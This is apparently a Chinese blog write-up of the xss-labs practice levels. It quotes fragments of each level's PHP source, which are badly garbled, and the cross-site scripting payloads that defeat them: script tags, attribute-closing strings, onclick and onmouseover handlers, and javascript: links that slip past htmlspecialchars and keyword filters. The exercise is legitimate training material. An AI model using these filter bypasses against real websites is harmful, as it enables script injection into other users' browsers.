本文共 3308 字,大约阅读时间需要 11 分钟。
源码
欢迎来到level1 欢迎来到level1
欢迎用户".$str."";//这里直接进行调用,根本没有过滤?>payload的长度:".strlen($str)."";?>
http://127.0.0.1/xsslabs/xss/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
最基本的,我们直接插入语句
<script>alert(1)</script>
欢迎来到level2 欢迎来到level2
没有找到和".htmlspecialchars($str)."相关的结果.".'';?> payload的长度:".strlen($str)."";?>
这些被预编译了
这里我们看到还有一个submit,他是input的弹窗,我们在这里进行闭合源码也可以看到,input的标签,并没有过滤,
"> <script>alert('xss')</script> //
我们闭合前面, 注释后面,完成! 把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
实体化函数,也是一种预编译的函数,相当于<>不起作用了正常输入并不可以,我们进行代码审计 使用了两次 htmlspecialchars 而我们的htmlspecialchars 默认不对欢迎来到level3 欢迎来到level3
没有找到和".htmlspecialchars($str)."相关的结果."."";?> payload的长度:".strlen($str)."";?>
'
生效 正好这里的value是'
闭合的 我们看到这儿,value也闭合了,onlick也闭合了, 只要点击value空白处,就能触发 ' onclick='javascript:alert(/xss/)
'onclick='alert(/xss/)
' onmouseover='javascript:alert(/xss/)
'onmouseover='alert(/xss/)
这两个都可以 伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,
而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入"javascript:alert(‘JS!’);",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。
","",$str);$str3=str_replace("<","",$str2);echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'';?> payload的长度:".strlen($str3)."";?>
他这里只是把尖括号替换为了空
我们上我们的经典语句 发现了转义,他把尖括号转义了 但是这里并没有进行过滤 我们直接构造闭合value即可"> <a href="javascript:alert('xss')">
没有找到和".htmlspecialchars($str)."相关的结果.".'';?> payload的长度:".strlen($str3)."";?>
我们来查看一下源代码
将script和on都替换了没有找到和".htmlspecialchars($str)."相关的结果.".'';?> payload的长度:".strlen($str6)."";?>
查看一下源码,他增添了几个过滤
"><script>alert('1')</script>
没有找到和".htmlspecialchars($str)."相关的结果.".'';?> payload的长度:".strlen($str6)."";?>
javascript :alert(1)
';?> 友情链接';?>
将所有变为小写,防止大小写绕过
';?> 友情链接'; }else{ echo '
看代码,果然是匹配了http://
&t_sort=" onclick= "alert(/xss/)
","",$str11);$str33=str_replace("<","",$str22);echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'';?> payload的长度:".strlen($str)."";?>
将尖括号屏蔽了,其他没有什么,